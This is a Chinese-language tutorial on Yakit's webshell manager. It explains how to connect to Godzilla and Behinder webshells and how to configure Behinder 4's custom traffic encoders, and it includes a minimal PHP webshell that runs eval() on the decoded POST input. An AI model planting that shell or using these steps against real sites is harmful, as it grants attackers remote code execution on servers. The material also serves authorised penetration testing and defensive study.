ALL-IN-ONE 拼图补全计划之:Webshell 管理
字数 1097 2025-08-18 11:35:46
Yaklang Webshell 管理功能详解
一、功能概述
Yaklang v1.3.0 版本引入了试验性的网站管理功能,主要用于管理冰蝎(Behinder)、哥斯拉(Godzilla)等类型的Webshell。该功能提供了:
- 存活探测
- 获取基础信息
- 命令执行
- 部分文件管理功能
重要提示:使用前必须获取合法授权,仅用于管理自己拥有的网站。
二、支持的Webshell类型
1. 哥斯拉(Godzilla)管理
连接步骤:
- 打开Yakit的"网站管理"模块
- 点击右上角"添加网站"
- 填写表单字段:
- URL
- 脚本类型
- 密码/密钥
- 其他必要参数
特点:
- 连接过程相对简单
- 未来可能通过加载插件扩展功能
2. 冰蝎3(Behinder v3)管理
连接配置:
- URL:Webshell地址
- 脚本类型:选择对应语言(如PHP、JSP等)
- 密钥:与Webshell设置的密钥一致
特点:
- 默认使用AES/XOR加解密方式
- 无需选择编解码器
- 连接后可进行存活检测和基本信息查看
3. 冰蝎4(Behinder v4)管理
冰蝎4引入了自定义协议通讯,连接过程更为复杂,涉及编解码器的配置。
三、冰蝎4自定义协议详解
1. 通讯流程
- 本地加密:加密或编码请求包(Request)
- 远程解密:Webshell端解密或解码请求包
- 远程加密:Webshell端加密返回结果(Response)
- 本地解密:客户端解密返回结果
2. Yakit中的编解码器概念
Yakit使用两种编解码器:
-
数据包编解码器:处理HTTP请求和响应的body
- 对应"本地加密"和"本地解密"
-
回显编解码器:处理Payload中的加解密函数
- 对应"远程加密"和"远程解密"
3. 编解码器配置示例
数据包编解码器
编码器示例:
wsmPacketEncoder = func(raw) {
packet = "aaa" + string(raw) + "bbb"
return []byte(packet)
}
对应Webshell解码器(PHP示例):
<?php
function Decrypt($data){
$data = substr($data, 3, strlen($data) - 6);
return $data;
}
$post = Decrypt(file_get_contents("php://input"));
eval($post);
?>
回显编解码器
编码器示例:
wsmPayloadEncoder = func(reqBody) {
return `function encrypt($data){ return strrev($data);}`
}
解码器示例:
wsmPayloadDecoder = func(reqBody) {
return string(reqBody).Reverse()
}
4. 连接冰蝎4的步骤
- 编写或选择数据包编解码器
- 编写或选择回显编解码器
- 在添加网站表单中:
- 填写URL
- 选择脚本类型
- 选择配置好的编解码器
- 密钥可随意填写(因为加解密已由编解码器处理)
- 连接后可进行代理监控,观察数据包
四、功能展望
- 可能采用YAML profile方式进行配置管理
- 计划将功能导出为yaklang库,便于代码中调用
- 持续完善网站管理模块功能
五、技术学习建议
建议深入研究冰蝎、哥斯拉的服务端实现,这些实现包含了许多值得学习的安全技术。可以通过它们的源码进行学习。
注意:本文仅介绍如何连接相关Webshell,实际应用中请确保遵守法律法规,仅用于合法授权的安全测试。